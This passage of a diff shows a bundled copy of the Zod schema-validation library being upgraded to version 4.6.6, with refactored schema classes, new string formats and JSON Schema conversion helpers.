this.clone(); + globalRegistry.add(cl, args[0]); + return cl; + }, + isOptional() { + return this.safeParse(void 0).success; + }, + isNullable() { + return this.safeParse(null).success; + }, + apply(fn, ...args) { + return args.length === 0 ? fn(this) : fn(this, ...args); + }, + // Overrides core's `~standard` to add `jsonSchema`. Must stay a prototype entry: redefining it per instance demotes instances to dictionary mode. + get "~standard"() { + return util_exports.hide(this, "~standard", { + ...standardProps(this), + jsonSchema: { + input: createStandardJSONSchemaMethod(this, "input"), + output: createStandardJSONSchemaMethod(this, "output") + } + }); + }, + set "~standard"(value) { + util_exports.own(this, "~standard", value); + }, + parse: function _parse2(data, params) { + return parse2(this, data, params, { callee: _parse2 }); + }, + parseAsync: async function _parseAsync2(data, params) { + return await parseAsync2(this, data, params, { callee: _parseAsync2 }); + }, + safeParse(data, params) { + return safeParse2(this, data, params); + }, + async safeParseAsync(data, params) { + return safeParseAsync2(this, data, params); + }, + // `spa` is an alias: same function object as `safeParseAsync`, as before. + get spa() { + return this?.safeParseAsync; + }, + set spa(value) { + util_exports.own(this, "spa", value); + }, + validate(data, params) { + return validate(this, data, params); + }, + validateAsync(data, params) { + return validateAsync(this, data, params); + }, + encode: function _encode2(data, params) { + return encode3(this, data, params, { callee: _encode2 }); + }, + decode: function _decode2(data, params) { + return decode3(this, data, params, { callee: _decode2 }); + }, + encodeAsync: async function _encodeAsync2(data, params) { + return await encodeAsync2(this, data, params, { callee: _encodeAsync2 }); + }, + decodeAsync: async function _decodeAsync2(data, params) { + return await decodeAsync2(this, data, params, { callee: _decodeAsync2 }); + }, + safeEncode(data, params) { + return safeEncode2(this, data, params); + }, + safeDecode(data, params) { + return safeDecode2(this, data, params); + }, + async safeEncodeAsync(data, params) { + return safeEncodeAsync2(this, data, params); + }, + async safeDecodeAsync(data, params) { + return safeDecodeAsync2(this, data, params); + }, + toJSONSchema(params) { + return createToJSONSchemaMethod(this, {})(params); + }, + // Reads through to the registry on every access, so it must not cache. + get description() { + return globalRegistry.get(this)?.description; + }, + // No setter: `schema._def = x` throws, as it did when `_def` was a non-writable own property. + get _def() { + return this._zod.def; + } }); -var _ZodString = /* @__PURE__ */ $constructor("_ZodString", (inst, def) => { - $ZodString.init(inst, def); - ZodType.init(inst, def); - inst._zod.processJSONSchema = (ctx, json3, params) => stringProcessor(inst, ctx, json3, params); - const bag = inst._zod.bag; - inst.format = bag.format ?? null; - inst.minLength = bag.minimum ?? null; - inst.maxLength = bag.maximum ?? null; - _installLazyMethods(inst, "_ZodString", { +var _ZodString = /* @__PURE__ */ $constructor( + "_ZodString", + (inst, def) => { + $ZodString.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => stringProcessor(inst, ctx, json3, params); + }, + /* @__PURE__ */ util_exports.derived({ + format: (inst) => aggregateChecks(inst).format ?? null, + minLength: (inst) => aggregateChecks(inst).minimum ?? null, + maxLength: (inst) => aggregateChecks(inst).maximum ?? null + }, { regex(...args) { return this.check(_regex(...args)); }, @@ -59721,38 +64292,90 @@ var _ZodString = /* @__PURE__ */ $constructor("_ZodString", (inst, def) => { slugify() { return this.check(_slugify()); } - }); -}); + }) +); var ZodString = /* @__PURE__ */ $constructor("ZodString", (inst, def) => { $ZodString.init(inst, def); _ZodString.init(inst, def); - inst.email = (params) => inst.check(_email(ZodEmail, params)); - inst.url = (params) => inst.check(_url(ZodURL, params)); - inst.jwt = (params) => inst.check(_jwt(ZodJWT, params)); - inst.emoji = (params) => inst.check(_emoji2(ZodEmoji, params)); - inst.guid = (params) => inst.check(_guid(ZodGUID, params)); - inst.uuid = (params) => inst.check(_uuid(ZodUUID, params)); - inst.uuidv4 = (params) => inst.check(_uuidv4(ZodUUID, params)); - inst.uuidv6 = (params) => inst.check(_uuidv6(ZodUUID, params)); - inst.uuidv7 = (params) => inst.check(_uuidv7(ZodUUID, params)); - inst.nanoid = (params) => inst.check(_nanoid(ZodNanoID, params)); - inst.guid = (params) => inst.check(_guid(ZodGUID, params)); - inst.cuid = (params) => inst.check(_cuid(ZodCUID, params)); - inst.cuid2 = (params) => inst.check(_cuid2(ZodCUID2, params)); - inst.ulid = (params) => inst.check(_ulid(ZodULID, params)); - inst.base64 = (params) => inst.check(_base64(ZodBase64, params)); - inst.base64url = (params) => inst.check(_base64url(ZodBase64URL, params)); - inst.xid = (params) => inst.check(_xid(ZodXID, params)); - inst.ksuid = (params) => inst.check(_ksuid(ZodKSUID, params)); - inst.ipv4 = (params) => inst.check(_ipv4(ZodIPv4, params)); - inst.ipv6 = (params) => inst.check(_ipv6(ZodIPv6, params)); - inst.cidrv4 = (params) => inst.check(_cidrv4(ZodCIDRv4, params)); - inst.cidrv6 = (params) => inst.check(_cidrv6(ZodCIDRv6, params)); - inst.e164 = (params) => inst.check(_e164(ZodE164, params)); - inst.datetime = (params) => inst.check(datetime2(params)); - inst.date = (params) => inst.check(date2(params)); - inst.time = (params) => inst.check(time2(params)); - inst.duration = (params) => inst.check(duration2(params)); +}, { + email(params) { + return this.check(_email(ZodEmail, params)); + }, + url(params) { + return this.check(_url(ZodURL, params)); + }, + jwt(params) { + return this.check(_jwt(ZodJWT, params)); + }, + emoji(params) { + return this.check(_emoji2(ZodEmoji, params)); + }, + guid(params) { + return this.check(_guid(ZodGUID, params)); + }, + uuid(params) { + return this.check(_uuid(ZodUUID, params)); + }, + uuidv4(params) { + return this.check(_uuidv4(ZodUUID, params)); + }, + uuidv6(params) { + return this.check(_uuidv6(ZodUUID, params)); + }, + uuidv7(params) { + return this.check(_uuidv7(ZodUUID, params)); + }, + nanoid(params) { + return this.check(_nanoid(ZodNanoID, params)); + }, + cuid(params) { + return this.check(_cuid(ZodCUID, params)); + }, + cuid2(params) { + return this.check(_cuid2(ZodCUID2, params)); + }, + ulid(params) { + return this.check(_ulid(ZodULID, params)); + }, + base64(params) { + return this.check(_base64(ZodBase64, params)); + }, + base64url(params) { + return this.check(_base64url(ZodBase64URL, params)); + }, + xid(params) { + return this.check(_xid(ZodXID, params)); + }, + ksuid(params) { + return this.check(_ksuid(ZodKSUID, params)); + }, + ipv4(params) { + return this.check(_ipv4(ZodIPv4, params)); + }, + ipv6(params) { + return this.check(_ipv6(ZodIPv6, params)); + }, + cidrv4(params) { + return this.check(_cidrv4(ZodCIDRv4, params)); + }, + cidrv6(params) { + return this.check(_cidrv6(ZodCIDRv6, params)); + }, + e164(params) { + return this.check(_e164(ZodE164, params)); + }, + datetime(params) { + return this.check(_isoDateTime(ZodISODateTime, params)); + }, + date(params) { + return this.check(_isoDate(ZodISODate, params)); + }, + time(params) { + return this.check(_isoTime(ZodISOTime, params)); + }, + duration(params) { + return this.check(_isoDuration(ZodISODuration, params)); + } }); function string2(params) { return _string(ZodString, params); @@ -59761,6 +64384,22 @@ var ZodStringFormat = /* @__PURE__ */ $constructor("ZodStringFormat", (inst, def $ZodStringFormat.init(inst, def); _ZodString.init(inst, def); }); +var ZodISODateTime = /* @__PURE__ */ $constructor("ZodISODateTime", (inst, def) => { + $ZodISODateTime.init(inst, def); + ZodStringFormat.init(inst, def); +}); +var ZodISODate = /* @__PURE__ */ $constructor("ZodISODate", (inst, def) => { + $ZodISODate.init(inst, def); + ZodStringFormat.init(inst, def); +}); +var ZodISOTime = /* @__PURE__ */ $constructor("ZodISOTime", (inst, def) => { + $ZodISOTime.init(inst, def); + ZodStringFormat.init(inst, def); +}); +var ZodISODuration = /* @__PURE__ */ $constructor("ZodISODuration", (inst, def) => { + $ZodISODuration.init(inst, def); + ZodStringFormat.init(inst, def); +}); var ZodEmail = /* @__PURE__ */ $constructor("ZodEmail", (inst, def) => { $ZodEmail.init(inst, def); ZodStringFormat.init(inst, def); @@ -59800,8 +64439,8 @@ function url(params) { } function httpUrl(params) { return _url(ZodURL, { - protocol: regexes_exports.httpProtocol, - hostname: regexes_exports.domain, + protocol: httpProtocol, + hostname: domain, ...util_exports.normalizeParams(params) }); } @@ -59910,6 +64549,20 @@ var ZodE164 = /* @__PURE__ */ $constructor("ZodE164", (inst, def) => { function e1642(params) { return _e164(ZodE164, params); } +var ZodCreditCard = /* @__PURE__ */ $constructor("ZodCreditCard", (inst, def) => { + $ZodCreditCard.init(inst, def); + ZodStringFormat.init(inst, def); +}); +function creditCard2(params) { + return _creditCard(ZodCreditCard, params); +} +var ZodIBAN = /* @__PURE__ */ $constructor("ZodIBAN", (inst, def) => { + $ZodIBAN.init(inst, def); + ZodStringFormat.init(inst, def); +}); +function iban2(params) { + return _iban(ZodIBAN, params); +} var ZodJWT = /* @__PURE__ */ $constructor("ZodJWT", (inst, def) => { $ZodJWT.init(inst, def); ZodStringFormat.init(inst, def); @@ -59925,10 +64578,13 @@ function stringFormat(format, fnOrRegex, _params = {}) { return _stringFormat(ZodCustomStringFormat, format, fnOrRegex, _params); } function hostname2(_params) { - return _stringFormat(ZodCustomStringFormat, "hostname", regexes_exports.hostname, _params); + return _stringFormat(ZodCustomStringFormat, "hostname", hostname, _params); } function hex2(_params) { - return _stringFormat(ZodCustomStringFormat, "hex", regexes_exports.hex, _params); + return _stringFormat(ZodCustomStringFormat, "hex", hex, _params); +} +function currencyCode2(_params) { + return _stringFormat(ZodCustomStringFormat, "currency_code", currencyCode, _params); } function hash(alg, params) { const enc = params?.enc ?? "hex"; @@ -59938,11 +64594,29 @@ function hash(alg, params) { throw new Error(`Unrecognized hash format: ${format}`); return _stringFormat(ZodCustomStringFormat, format, regex, params); } -var ZodNumber = /* @__PURE__ */ $constructor("ZodNumber", (inst, def) => { - $ZodNumber.init(inst, def); - ZodType.init(inst, def); - inst._zod.processJSONSchema = (ctx, json3, params) => numberProcessor(inst, ctx, json3, params); - _installLazyMethods(inst, "ZodNumber", { +var ZodNumber = /* @__PURE__ */ $constructor( + "ZodNumber", + (inst, def) => { + $ZodNumber.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => numberProcessor(inst, ctx, json3, params); + inst.isFinite = true; + }, + /* @__PURE__ */ util_exports.derived({ + minValue: (inst) => { + const { minimum, exclusiveMinimum } = aggregateChecks(inst); + return Math.max(minimum ?? Number.NEGATIVE_INFINITY, exclusiveMinimum ?? Number.NEGATIVE_INFINITY); + }, + maxValue: (inst) => { + const { maximum, exclusiveMaximum } = aggregateChecks(inst); + return Math.min(maximum ?? Number.POSITIVE_INFINITY, exclusiveMaximum ?? Number.POSITIVE_INFINITY); + }, + isInt: (inst) => { + const { isInt, multipleOf } = aggregateChecks(inst); + return !!isInt || !!multipleOf?.some(Number.isSafeInteger); + }, + format: (inst) => aggregateChecks(inst).format ?? null + }, { gt(value, params) { return this.check(_gt(value, params)); }, @@ -59988,14 +64662,8 @@ var ZodNumber = /* @__PURE__ */ $constructor("ZodNumber", (inst, def) => { finite() { return this; } - }); - const bag = inst._zod.bag; - inst.minValue = Math.max(bag.minimum ?? Number.NEGATIVE_INFINITY, bag.exclusiveMinimum ?? Number.NEGATIVE_INFINITY) ?? null; - inst.maxValue = Math.min(bag.maximum ?? Number.POSITIVE_INFINITY, bag.exclusiveMaximum ?? Number.POSITIVE_INFINITY) ?? null; - inst.isInt = (bag.format ?? "").includes("int") || Number.isSafeInteger(bag.multipleOf ?? 0.5); - inst.isFinite = true; - inst.format = bag.format ?? null; -}); + }) +); function number2(params) { return _number(ZodNumber, params); } @@ -60026,28 +64694,53 @@ var ZodBoolean = /* @__PURE__ */ $constructor("ZodBoolean", (inst, def) => { function boolean2(params) { return _boolean(ZodBoolean, params); } -var ZodBigInt = /* @__PURE__ */ $constructor("ZodBigInt", (inst, def) => { - $ZodBigInt.init(inst, def); - ZodType.init(inst, def); - inst._zod.processJSONSchema = (ctx, json3, params) => bigintProcessor(inst, ctx, json3, params); - inst.gte = (value, params) => inst.check(_gte(value, params)); - inst.min = (value, params) => inst.check(_gte(value, params)); - inst.gt = (value, params) => inst.check(_gt(value, params)); - inst.gte = (value, params) => inst.check(_gte(value, params)); - inst.min = (value, params) => inst.check(_gte(value, params)); - inst.lt = (value, params) => inst.check(_lt(value, params)); - inst.lte = (value, params) => inst.check(_lte(value, params)); - inst.max = (value, params) => inst.check(_lte(value, params)); - inst.positive = (params) => inst.check(_gt(BigInt(0), params)); - inst.negative = (params) => inst.check(_lt(BigInt(0), params)); - inst.nonpositive = (params) => inst.check(_lte(BigInt(0), params)); - inst.nonnegative = (params) => inst.check(_gte(BigInt(0), params)); - inst.multipleOf = (value, params) => inst.check(_multipleOf(value, params)); - const bag = inst._zod.bag; - inst.minValue = bag.minimum ?? null; - inst.maxValue = bag.maximum ?? null; - inst.format = bag.format ?? null; -}); +var ZodBigInt = /* @__PURE__ */ $constructor( + "ZodBigInt", + (inst, def) => { + $ZodBigInt.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => bigintProcessor(inst, ctx, json3, params); + }, + /* @__PURE__ */ util_exports.derived({ + minValue: (inst) => aggregateChecks(inst).minimum ?? null, + maxValue: (inst) => aggregateChecks(inst).maximum ?? null, + format: (inst) => aggregateChecks(inst).format ?? null + }, { + gte(value, params) { + return this.check(_gte(value, params)); + }, + min(value, params) { + return this.check(_gte(value, params)); + }, + gt(value, params) { + return this.check(_gt(value, params)); + }, + lt(value, params) { + return this.check(_lt(value, params)); + }, + lte(value, params) { + return this.check(_lte(value, params)); + }, + max(value, params) { + return this.check(_lte(value, params)); + }, + positive(params) { + return this.check(_gt(BigInt(0), params)); + }, + negative(params) { + return this.check(_lt(BigInt(0), params)); + }, + nonpositive(params) { + return this.check(_lte(BigInt(0), params)); + }, + nonnegative(params) { + return this.check(_gte(BigInt(0), params)); + }, + multipleOf(value, params) { + return this.check(_multipleOf(value, params)); + } + }) +); function bigint2(params) { return _bigint(ZodBigInt, params); } @@ -60117,41 +64810,51 @@ var ZodVoid = /* @__PURE__ */ $constructor("ZodVoid", (inst, def) => { function _void2(params) { return _void(ZodVoid, params); } -var ZodDate = /* @__PURE__ */ $constructor("ZodDate", (inst, def) => { - $ZodDate.init(inst, def); - ZodType.init(inst, def); - inst._zod.processJSONSchema = (ctx, json3, params) => dateProcessor(inst, ctx, json3, params); - inst.min = (value, params) => inst.check(_gte(value, params)); - inst.max = (value, params) => inst.check(_lte(value, params)); - const c = inst._zod.bag; - inst.minDate = c.minimum ? new Date(c.minimum) : null; - inst.maxDate = c.maximum ? new Date(c.maximum) : null; -}); -function date3(params) { +var ZodDate = /* @__PURE__ */ $constructor( + "ZodDate", + (inst, def) => { + $ZodDate.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => dateProcessor(inst, ctx, json3, params); + inst.min = (value, params) => inst.check(_gte(value, params)); + inst.max = (value, params) => inst.check(_lte(value, params)); + }, + /* @__PURE__ */ util_exports.derived({ + minDate: (inst) => { + const { minimum } = aggregateChecks(inst); + return minimum ? new Date(minimum) : null; + }, + maxDate: (inst) => { + const { maximum } = aggregateChecks(inst); + return maximum ? new Date(maximum) : null; + } + }, {}) +); +function date2(params) { return _date(ZodDate, params); } var ZodArray = /* @__PURE__ */ $constructor("ZodArray", (inst, def) => { + _ensureDefaultMemoizer(); $ZodArray.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => arrayProcessor(inst, ctx, json3, params); inst.element = def.element; - _installLazyMethods(inst, "ZodArray", { - min(n, params) { - return this.check(_minLength(n, params)); - }, - nonempty(params) { - return this.check(_minLength(1, params)); - }, - max(n, params) { - return this.check(_maxLength(n, params)); - }, - length(n, params) { - return this.check(_length(n, params)); - }, - unwrap() { - return this.element; - } - }); +}, { + min(n, params) { + return this.check(_minLength(n, params)); + }, + nonempty(params) { + return this.check(_minLength(1, params)); + }, + max(n, params) { + return this.check(_maxLength(n, params)); + }, + length(n, params) { + return this.check(_length(n, params)); + }, + unwrap() { + return this.element; + } }); function array(element, params) { return _array(ZodArray, element, params); @@ -60161,53 +64864,54 @@ function keyof(schema) { return _enum2(Object.keys(shape)); } var ZodObject = /* @__PURE__ */ $constructor("ZodObject", (inst, def) => { + _ensureDefaultMemoizer(); $ZodObjectJIT.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => objectProcessor(inst, ctx, json3, params); - util_exports.defineLazy(inst, "shape", () => { - return def.shape; - }); - _installLazyMethods(inst, "ZodObject", { - keyof() { - return _enum2(Object.keys(this._zod.def.shape)); - }, - catchall(catchall) { - return this.clone({ ...this._zod.def, catchall }); - }, - passthrough() { - return this.clone({ ...this._zod.def, catchall: unknown() }); - }, - loose() { - return this.clone({ ...this._zod.def, catchall: unknown() }); - }, - strict() { - return this.clone({ ...this._zod.def, catchall: never() }); - }, - strip() { - return this.clone({ ...this._zod.def, catchall: void 0 }); - }, - extend(incoming) { - return util_exports.extend(this, incoming); - }, - safeExtend(incoming) { - return util_exports.safeExtend(this, incoming); - }, - merge(other) { - return util_exports.merge(this, other); - }, - pick(mask) { - return util_exports.pick(this, mask); - }, - omit(mask) { - return util_exports.omit(this, mask); - }, - partial(...args) { - return util_exports.partial(ZodOptional, this, args[0]); - }, - required(...args) { - return util_exports.required(ZodNonOptional, this, args[0]); - } - }); + util_exports.installLazyProp(inst, "shape", (self2) => self2._zod.def.shape, false); +}, { + keyof() { + return _enum2(Object.keys(this._zod.def.shape)); + }, + catchall(catchall) { + return this.clone(util_exports.mergeDefs(this._zod.def, { catchall })); + }, + passthrough() { + return this.clone(util_exports.mergeDefs(this._zod.def, { catchall: unknown() })); + }, + loose() { + return this.clone(util_exports.mergeDefs(this._zod.def, { catchall: unknown() })); + }, + strict() { + return this.clone(util_exports.mergeDefs(this._zod.def, { catchall: never() })); + }, + strip() { + return this.clone(util_exports.mergeDefs(this._zod.def, { catchall: void 0 })); + }, + extend(incoming) { + return util_exports.extend(this, incoming); + }, + safeExtend(incoming) { + return util_exports.safeExtend(this, incoming); + }, + merge(other) { + return util_exports.merge(this, other); + }, + pick(mask) { + return util_exports.pick(this, mask); + }, + omit(mask) { + return util_exports.omit(this, mask); + }, + partial(...args) { + return util_exports.partial(ZodOptional, this, args[0]); + }, + exactPartial(...args) { + return util_exports.partial(ZodExactOptional, this, args[0], "exactPartial"); + }, + required(...args) { + return util_exports.required(ZodNonOptional, this, args[0]); + } }); function object(shape, params) { const def = { @@ -60285,13 +64989,26 @@ function intersection(left, right) { }); } var ZodTuple = /* @__PURE__ */ $constructor("ZodTuple", (inst, def) => { + _ensureDefaultMemoizer(); $ZodTuple.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => tupleProcessor(inst, ctx, json3, params); - inst.rest = (rest) => inst.clone({ - ...inst._zod.def, - rest - }); +}, { + rest(rest) { + return this.clone({ + ...this._zod.def, + rest + }); + }, + partial() { + const def = this._zod.def; + if (def.checks?.length) + throw new Error(".partial() cannot be used on tuple schemas containing refinements"); + return this.clone({ + ...def, + items: def.items.map((item) => new ZodOptional({ type: "optional", innerType: item })) + }); + } }); function tuple(items, _paramsOrRest, _params) { const hasRest = _paramsOrRest instanceof $ZodType; @@ -60305,6 +65022,7 @@ function tuple(items, _paramsOrRest, _params) { }); } var ZodRecord = /* @__PURE__ */ $constructor("ZodRecord", (inst, def) => { + _ensureDefaultMemoizer(); $ZodRecord.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => recordProcessor(inst, ctx, json3, params); @@ -60328,13 +65046,12 @@ function record(keyType, valueType, params) { }); } function partialRecord(keyType, valueType, params) { - const k = clone(keyType); - k._zod.values = void 0; return new ZodRecord({ type: "record", - keyType: k, + keyType, valueType, - ...util_exports.normalizeParams(params) + ...util_exports.normalizeParams(params), + partial: true }); } function looseRecord(keyType, valueType, params) { @@ -60347,6 +65064,7 @@ function looseRecord(keyType, valueType, params) { }); } var ZodMap = /* @__PURE__ */ $constructor("ZodMap", (inst, def) => { + _ensureDefaultMemoizer(); $ZodMap.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => mapProcessor(inst, ctx, json3, params); @@ -60366,6 +65084,7 @@ function map(keyType, valueType, params) { }); } var ZodSet = /* @__PURE__ */ $constructor("ZodSet", (inst, def) => { + _ensureDefaultMemoizer(); $ZodSet.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => setProcessor(inst, ctx, json3, params); @@ -60386,7 +65105,7 @@ var ZodEnum = /* @__PURE__ */ $constructor("ZodEnum", (inst, def) => { ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => enumProcessor(inst, ctx, json3, params); inst.enum = def.entries; - inst.options = Object.values(def.entries); + inst.options = [...inst._zod.values]; const keys = new Set(Object.keys(def.entries)); inst.extract = (values2, params) => { const newEntries = {}; @@ -60467,6 +65186,7 @@ function file(params) { return _file(ZodFile, params); } var ZodTransform = /* @__PURE__ */ $constructor("ZodTransform", (inst, def) => { + _ensureDefaultMemoizer(); $ZodTransform.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => transformProcessor(inst, ctx, json3, params); @@ -60482,21 +65202,20 @@ var ZodTransform = /* @__PURE__ */ $constructor("ZodTransform", (inst, def) => { if (_issue.fatal) _issue.continue = false; _issue.code ?? (_issue.code = "custom"); - _issue.input ?? (_issue.input = payload.value); + if (!("input" in _issue)) + _issue.input = payload.value; _issue.inst ?? (_issue.inst = inst); payload.issues.push(util_exports.issue(_issue)); } }; - const output = def.transform(payload.value, payload); - if (output instanceof Promise) { - return output.then((output2) => { - payload.value = output2; - payload.fallback = true; + const output2 = def.transform(payload.value, payload); + if (output2 instanceof Promise) { + return output2.then((output3) => { + payload.value = output3; return payload; }); } - payload.value = output; - payload.fallback = true; + payload.value = output2; return payload; }; }); @@ -60612,7 +65331,7 @@ function _catch2(innerType, catchValue) { return new ZodCatch({ type: "catch", innerType, - catchValue: typeof catchValue === "function" ? catchValue : () => catchValue + catchValue: typeof catchValue === "function" ? catchValue : util_exports.constantCatch(catchValue) }); } var ZodNaN = /* @__PURE__ */ $constructor("ZodNaN", (inst, def) => { @@ -60749,8 +65468,15 @@ function superRefine(fn, params) { } var describe2 = describe; var meta2 = meta; +var ZodInstanceOf = /* @__PURE__ */ $constructor("ZodInstanceOf", (inst, def) => { + ZodCustom.init(inst, def); +}, { + properties(shape, params) { + return this.check(_properties(shape, params)); + } +}); function _instanceof(cls, params = {}) { - const inst = new ZodCustom({ + const inst = new ZodInstanceOf({ type: "custom", check: "custom", fn: (data) => data instanceof cls, @@ -60790,7 +65516,7 @@ function preprocess(fn, schema) { }); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/compat.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/compat.js var ZodIssueCode = { invalid_type: "invalid_type", too_big: "too_big", @@ -60816,7 +65542,32 @@ var ZodFirstPartyTypeKind; /* @__PURE__ */ (function(ZodFirstPartyTypeKind2) { })(ZodFirstPartyTypeKind || (ZodFirstPartyTypeKind = {})); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/from-json-schema.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/iso.js +var iso_exports = {}; +__export(iso_exports, { + ZodISODate: () => ZodISODate, + ZodISODateTime: () => ZodISODateTime, + ZodISODuration: () => ZodISODuration, + ZodISOTime: () => ZodISOTime, + date: () => date3, + datetime: () => datetime2, + duration: () => duration2, + time: () => time2 +}); +function datetime2(params) { + return _isoDateTime(ZodISODateTime, params); +} +function date3(params) { + return _isoDate(ZodISODate, params); +} +function time2(params) { + return _isoTime(ZodISOTime, params); +} +function duration2(params) { + return _isoDuration(ZodISODuration, params); +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/from-json-schema.js var z = { ...schemas_exports2, ...checks_exports2, @@ -60906,6 +65657,12 @@ function detectVersion(schema, defaultTarget) { } return defaultTarget ?? "draft-2020-12"; } +function applyMinItems(items, minItems) { + return items.map((item, index2) => index2 < minItems ? item : item.optional()); +} +function decodeJSONPointerSegment(segment) { + return segment.replace(/~1/g, "/").replace(/~0/g, "~"); +} function resolveRef(ref, ctx) { if (!ref.startsWith("#")) { throw new Error("External $ref is not supported, only local refs (#/...) are allowed"); @@ -60916,7 +65673,7 @@ function resolveRef(ref, ctx) { } const defsKey = ctx.version === "draft-2020-12" ? "$defs" : "definitions"; if (path[0] === defsKey) { - const key = path[1]; + const key = path[1] === void 0 ? void 0 : decodeJSONPointerSegment(path[1]); if (!key || !ctx.defs[key]) { throw new Error(`Reference not found: ${ref}`); } @@ -60924,6 +65681,198 @@ function resolveRef(ref, ctx) { } throw new Error(`Reference not found: ${ref}`); } +function checkObjectGuards(objectSchema, guards) { + const guard = z.transform((value) => value).check((payload) => { + const value = payload.value; + if (typeof value !== "object" || value === null || Array.isArray(value)) + return; + const keys = Object.getOwnPropertyNames(value); + if (guards.minProperties !== void 0 && keys.length < guards.minProperties) { + payload.issues.push({ + origin: "object", + code: "too_small", + minimum: guards.minProperties, + inclusive: true, + message: `Too small: expected object to have >=${guards.minProperties} properties`, + input: value, + inst: objectSchema, + continue: true + }); + } + if (guards.maxProperties !== void 0 && keys.length > guards.maxProperties) { + payload.issues.push({ + origin: "object", + code: "too_big", + maximum: guards.maxProperties, + inclusive: true, + message: `Too big: expected object to have <=${guards.maxProperties} properties`, + input: value, + inst: objectSchema, + continue: true + }); + } + if (guards.keySchema) { + for (const key of keys) { + const result = guards.keySchema.safeParse(key); + if (result.success) + continue; + payload.issues.push({ + code: "invalid_key", + origin: "record", + issues: result.error.issues, + input: key, + path: [key], + continue: true + }); + } + } + }); + return guard.pipe(objectSchema); +} +function canonicalKey(value, seen) { + if (value === null) + return "z"; + const type = typeof value; + if (type !== "object") { + if (type === "number" && Number.isNaN(value)) + return null; + const raw = String(value); + return `${type[0]}${raw.length}:${raw}`; + } + if (seen.has(value)) + return null; + seen.add(value); + try { + if (Array.isArray(value)) { + const parts2 = []; + for (const item of value) { + const key = canonicalKey(item, seen); + if (key === null) + return null; + parts2.push(key); + } + return `a${parts2.length}:[${parts2.join(",")}]`; + } + const keys = Object.keys(value).sort(); + const parts = []; + for (const k of keys) { + const key = canonicalKey(value[k], seen); + if (key === null) + return null; + parts.push(`${k.length}:${k}=${key}`); + } + return `o${parts.length}:{${parts.join(",")}}`; + } finally { + seen.delete(value); + } +} +var SCHEMA_KEYWORDS = /* @__PURE__ */ new Set([ + "items", + "prefixItems", + "additionalItems", + "additionalProperties", + "contains", + "propertyNames", + "not", + "if", + "then", + "else", + "allOf", + "anyOf", + "oneOf", + "unevaluatedItems", + "unevaluatedProperties", + "contentSchema" +]); +var SCHEMA_MAP_KEYWORDS = /* @__PURE__ */ new Set([ + "properties", + "patternProperties", + "dependentSchemas", + "dependencies", + "$defs", + "definitions" +]); +function containsRef(value) { + if (typeof value !== "object" || value === null) + return false; + if (Array.isArray(value)) + return value.some(containsRef); + if (typeof value.$ref === "string") + return true; + return Object.entries(value).some(([key, sub]) => { + if (SCHEMA_KEYWORDS.has(key)) + return containsRef(sub); + if (!SCHEMA_MAP_KEYWORDS.has(key) || typeof sub !== "object" || sub === null) + return false; + return Object.values(sub).some(containsRef); + }); +} +function plural(n) { + return n === 1 ? "element" : "elements"; +} +function checkArrayGuards(arraySchema, guards) { + const guard = z.transform((value) => value).check((payload) => { + const items = payload.value; + if (!Array.isArray(items)) + return; + if (guards.uniqueItems === true) { + const firstSeen = /* @__PURE__ */ new Map(); + for (let i = 0; i < items.length; i++) { + const key = canonicalKey(items[i], /* @__PURE__ */ new Set()); + if (key === null) + continue; + const first = firstSeen.get(key); + if (first === void 0) { + firstSeen.set(key, i); + continue; + } + payload.issues.push({ + code: "custom", + message: `Array items must be unique: element at index ${i} duplicates the one at index ${first}`, + input: items, + path: [i], + continue: true + }); + } + } + if (guards.containsSchema) { + const minContains = guards.minContains ?? 1; + const ceiling = guards.maxContains !== void 0 ? guards.maxContains + 1 : Number.POSITIVE_INFINITY; + let matches = 0; + for (const item of items) { + if (guards.containsSchema.safeParse(item).success && ++matches >= ceiling) + break; + } + if (matches < minContains) { + payload.issues.push({ + code: "custom", + message: `Array must contain at least ${minContains} matching ${plural(minContains)}; found ${matches}`, + input: items, + continue: true + }); + } + if (guards.maxContains !== void 0 && matches > guards.maxContains) { + payload.issues.push({ + code: "custom", + message: `Array must contain at most ${guards.maxContains} matching ${plural(guards.maxContains)}`, + input: items, + continue: true + }); + } + } + }); + return guard.pipe(arraySchema); +} +function getTupleRest(restSchema, ctx) { + if (restSchema === false) { + return void 0; + } + if (restSchema === void 0 || restSchema === true) { + return z.any(); + } + return convertSchema(restSchema, ctx); +} +var fullTime = /^(?:[01]\d|2[0-3]):[0-5]\d:[0-5]\d(?:\.\d+)?(?:Z|[+-](?:[01]\d|2[0-3]):[0-5]\d)$/; function convertBaseSchema(schema, ctx) { if (schema.not !== void 0) { if (typeof schema.not === "object" && Object.keys(schema.not).length === 0) { @@ -61016,13 +65965,15 @@ function convertBaseSchema(schema, ctx) { } else if (format === "uuid" || format === "guid") { stringSchema = stringSchema.check(z.uuid()); } else if (format === "date-time") { - stringSchema = stringSchema.check(z.iso.datetime()); + stringSchema = stringSchema.check(z.iso.datetime({ offset: true })); } else if (format === "date") { stringSchema = stringSchema.check(z.iso.date()); } else if (format === "time") { - stringSchema = stringSchema.check(z.iso.time()); + stringSchema = stringSchema.check(z.regex(fullTime)); } else if (format === "duration") { stringSchema = stringSchema.check(z.iso.duration()); + } else if (format === "hostname") { + stringSchema = stringSchema.check(z.hostname()); } else if (format === "ipv4") { stringSchema = stringSchema.check(z.ipv4()); } else if (format === "ipv6") { @@ -61039,6 +65990,10 @@ function 